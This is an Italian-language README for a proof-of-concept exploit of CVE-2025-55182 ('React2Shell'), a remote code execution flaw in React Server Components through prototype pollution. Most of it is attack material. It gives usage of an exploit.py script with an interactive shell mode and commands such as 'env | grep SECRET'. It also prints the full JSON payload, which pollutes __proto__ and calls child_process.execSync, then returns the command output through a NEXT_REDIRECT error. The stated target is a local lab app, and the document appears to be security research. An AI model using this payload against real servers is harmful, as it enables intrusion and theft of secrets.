Exploit proof-of-concept per CVE-2025-55182 (React2Shell), una vulnerabilità critica RCE nei React Server Components tramite prototype pollution. Include modalità di sfruttamento interattiva e da riga di comando.
I React Server Components deserializzano i FormData in modo non sicuro. Campi multipart appositamente predisposti innescano la prototype pollution ed eseguono codice arbitrario tramite child_process.execSync.
npm install
pip3 install requests
npm run dev
L'applicazione è in esecuzione su: http://localhost:3000
python3 exploit.py -c "whoami"
python3 exploit.py -c "whoami"
python3 exploit.py -c "pwd"
python3 exploit.py -c "ls -la"
python3 exploit.py -c "cat package.json"
python3 exploit.py -c "env | grep SECRET"
python3 exploit.py -i
> whoami
COMMAND RESULT:
your-username
============================================================
> pwd
COMMAND RESULT:
/path/to/project
============================================================
> exit
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('CMD',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
npm run dev
python3 exploit.py -c "whoami"
python3 exploit.py -c "whoami" -v
Mostra la struttura completa del payload e la risposta del server
Di Guaxinim | Ricerca sulla Sicurezza Informatica